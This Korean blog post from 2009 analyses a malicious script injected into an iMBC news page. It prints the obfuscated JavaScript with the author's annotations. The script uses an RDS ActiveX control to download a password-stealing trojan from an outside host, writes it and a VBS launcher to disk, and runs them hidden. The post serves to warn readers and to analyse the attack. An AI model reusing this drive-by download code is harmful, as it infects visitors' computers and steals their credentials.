대부분 잘 알다시피 ,   김연아 선수가 MBC뉴스데스크와 인터뷰를 한 영상이
오늘 2009년4월22일 9시 뉴스데스크에서 방송이 되었다.

이 영상이 imnews.iMBC.com 홈페이지에 올라온 시각은 ,  9시 뉴스데스크가 끝나고 난 이후일텐데,
이 영상과 기사가 업로드 된 이후로 , 채 3시간이 지나지 않아서 , 이 페이지에 악성 스크립트가 심어졌으며,

이 페이지에 접속을 시도할때마다 ,  위 스크린샷과 같이  리모트 데이터 서비스 데이터 컨트롤 서비스가 실행되려고 한다.
아무것도 모르는 초보들은 , Allow 를 할테고 , 그렇다면 ,  Trojan이 받아지게 된다.

소스코드를 간단히 훑어본 결과,  중국발 해커의 소행이 100%인것으로 보이며, 

1.  해커가 iMBC.com 홈페이지를 악성코드 유포지로 활용하기 위해서 해킹 시도를 하였거나,
2. 기사를 업로드 한 사람의 컴퓨터에 Trojan이 심어져 있는데 ,
기사를 업로드 하면서 악성코드가 같이 업로드 됐을 가능성이 있다.



악성코드 파일들이다.
위 파일들은 중국인 해커가 악성코드 유포를 위해서 의도적으로 해킹한,
즉 악성코드 유포를 목적으로 희생양이 된 서버에 위치해 있을 가능성이 매우 높다.
공개적으로 서버의 IP를 공개하면 위험에 노출될 가능성이 있기때문에  ,그 IP는 공개하지 않는다.



이쯤에서 간단히  악성 스크립트의 소스를 공개하고,  훑어보자.
필자가 자바스크립트를 모르는 관계로 , 나름대로 그냥 훑어보았다.

<script src=14.js></script>  //H.exe 라는 Trojan파일이 있는곳의 URL이 적혀있다. 즉 H.exe를 내려받는다.

<script src=15.js></script>  //이 부분은 바로 아래 부분으로 대치된다.
var aaaaa="A";
var aaaaaa="d";
var aaaaaaa="o";
var nod32=aaaaa+aaaaaa+aaaaaaa;
var nod33="db.S";
var nod34="tre";
var nod35="am";
var GooGleado=nod32+nod33+nod34+nod35;
//aaaaaaaaaaaaaaaaaadb.Stream    ->  Adodb.Stream



<script language="JavaScript">
function gn(rRaGEykU1)
{var Orh2=window["M"+"a"+"th"]["r"+"a"+"n"+"d"+"o"+"m"]()*rRaGEykU1;
return'GooGle'+'.Cn'
}
try
{var GooGlezf,GooGlezfs,GooGlezfx,wwwGooGlecn,wwwGooGlecn2;
var GooGlename='GooGleeee.pif';
var GooGlenames='GooGleeee.vbs';
var chilam=window["d"+"o"+"c"+"u"+"m"+"e"+"n"+"t"]["c"+"re"+"at"+"eE"+"le"+"me"+"nt"]("o"+"b"+"j"+"e"+"c"+"t");
var nod3232="cl";
var GooGleee=nod3232+"s"+"id:";
var GooGleees="0-"+"9"+"8"+"3"+"A"+"-"+"0";
var GooGleeess="0"+"C"+"0"+"4";
var GooGleeesss="F"+"C"+"2"+"9"+"E"+"3"+"6";
var GooGleeex="BD"+"96C";
var GooGleeexx="556"+"-65A3"+"-11D";
var GooGlexml="Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P";
var YuT="Shell.";  //백신의 탐지를 우회하려고 이처럼 변수를 엄청 많이 선언해서 ,
                    //초기화를 여러번 하여,꼬아놓았다. 
                        
                         //코드 읽기가 어렵다. (물론 하나씪 써보면서 대입하면 읽을 수 있지만)
var YuTs="Application";
var YuTx=YuT+YuTs;          //YuTx = Shell.Application
var GooGleeex=GooGleee+GooGleeex+GooGleeexx+GooGleees+GooGleeess+GooGleeesss; 
//GooGleeex = clsid  BD96C556-65A3-11D0-983A-00C04FC29E36  클래스 ID
chilam["setAttribute"]("classid",GooGleeex);   // 속성 설정
var hHf$R6=chilam["CreateObject"]("Scripting.FileSystemObject","");
var GooGle2=chilam["CreateObject"](GooGlexml,"");   //Microsoft.XMLHTTP
var GooGle3;
GooGle3=chilam.CreateObject(GooGleado,""); Adodb.Stream
GooGle3.type=1;
var VgDnZXHt7=hHf$R6.GetSpecialFolder(0);  
//chilam["CreateObject"] ("Scripting.FileSystemObject","");GetSpecialFolder(0);  

var YuTYuT;
YuTYuT=chilam["C"+"r"+"e"+"a"+"t"+"e"+"O"+"b"+"j"+"e"+"c"+"t"](YuTx,"");               //Shell.Application
exp1=hHf$R6["B"+"u"+"i"+"l"+"d"+"P"+"a"+"t"+"h"](VgDnZXHt7+'\\system32','cmd.exe');
//exp1= chilam["CreateObject"]("Scripting.FileSystemObject","");.GetSpecialFolder0);+'\\system32','cmd.exe');

wwwGooGlecn=VgDnZXHt7+"\\"+GooGlename;
////chilam["CreateObject"]("Scripting.FileSystemObject","");GetSpecialFolder(0);'GooGleeee.pif'
GooGle2.Open("G"+"E"+"T",GooGle,0);
GooGle2["s"+"e"+"n"+"d"]();
GooGle3["Open"]();
GooGle3["W"+"ri"+"te"](GooGle2["respon"+"seBody"]);
GooGle3["S"+"a"+"ve"+"T"+"oF"+"il"+"e"](wwwGooGlecn,2);
GooGle3["Close"]();
var GooGleuser="chilam";
wwwGooGlecn2=VgDnZXHt7+"\\"+GooGlenames;  //악성코드가 위치한 경로\'GooGleeee.vbs
var GooGlezf0;
GooGlezf0="Set wwwGooGlecn = CreateObject(\"Wscript.";GooGlezf="Shell\")"+"\n";
GooGlezfs="wwwGooGlecn.run \"cmd /c "+wwwGooGlecn+"\",vbhide";
GooGlezfx=GooGlezf0+GooGlezf+GooGlezfs;
GooGle3["type"]=2;
GooGle3["O"+"p"+"e"+"n"]();
GooGle3["Wr"+"ite"+"Te"+"xt"]=GooGlezfx;
GooGle3["Sav"+"eto"+"fi"+"le"](wwwGooGlecn2,2);
GooGle3["Close"]();
var GooGles="o";
var GooGless="p";
var GooGlesss="e";
var GooGlessss="n";
var GooGlex=GooGles+GooGless+GooGlesss+GooGlessss;   // "open" 이라는 문자열로 초기화
YuTYuT.ShelLExeCute(exp1,' /c '+wwwGooGlecn2,"",GooGlex,0)}catch(GooGlesave){GooGlesave=1}
//ShellExecute(cmd.exe 악성코드가 위치한 경로\GooGleeee.vbs','/c'open,0) catch(1)

//쉘익스큐트를 이용 ,  뭔가를 실행한다.
//이 조차도 역시나 꼬아놓았다.

</script>



VirusTotal 검사결과 ,  최초 4월20일에  검사되었으며 ,   온라인게임 패스워드를 갈취하는 트로이목마로 보인다.
문제는 아직  그나마 잘 알려진 백신들 중에서 42.5%의 탐지율밖에 보이지 못한다는 것이다.
NOD32  , Bitdefender 엔진 등에서도 아직 탐지를 하지 못한다.







따라서 , 악성코드가 존재했을 시간에 ,  이 페이지에 접속한분들은 , 백신 전체 검사를 수행하고,
패스워드를 변경하는것이 우선인것 같다.
뭐 실시간탐지로 사전 차단한 분들은 신경쓰지 않아도 될것같다.

현재 이 시각에는  엠비씨 측에서  은밀히 해결한것으로 보이지만,
큰 규모의 언론사 홈페이지인 만큼  ,  순간적인 짧은 시간에도 페이지 노출수가 상당히 많을것인데,
(더군다나  , 네이버 메인에 MBC TV를 언론사로 지정한 사람들은  네이버 메인에도 노출이 되었을 것이다)
그 시간대에 노출된 사람들은 어떻게 책임질것인가?
은근슬쩍 해결하고 넘어가려 하기 보다는, 뭔가 책임을 지고 해명이라고 해야될텐데
(필자는 절대 MBC까 가 아님을 밝힌다, 단순히 이번 문제가 아무 소리 없이 넘어가는것 같아서
뭔가 문제가 일어날 것 같아서 이 글을 쓴것 뿐이다.)

저작자 표시 비영리 변경 금지
신고
by Sone 2009.04.23 00:53
| 1 |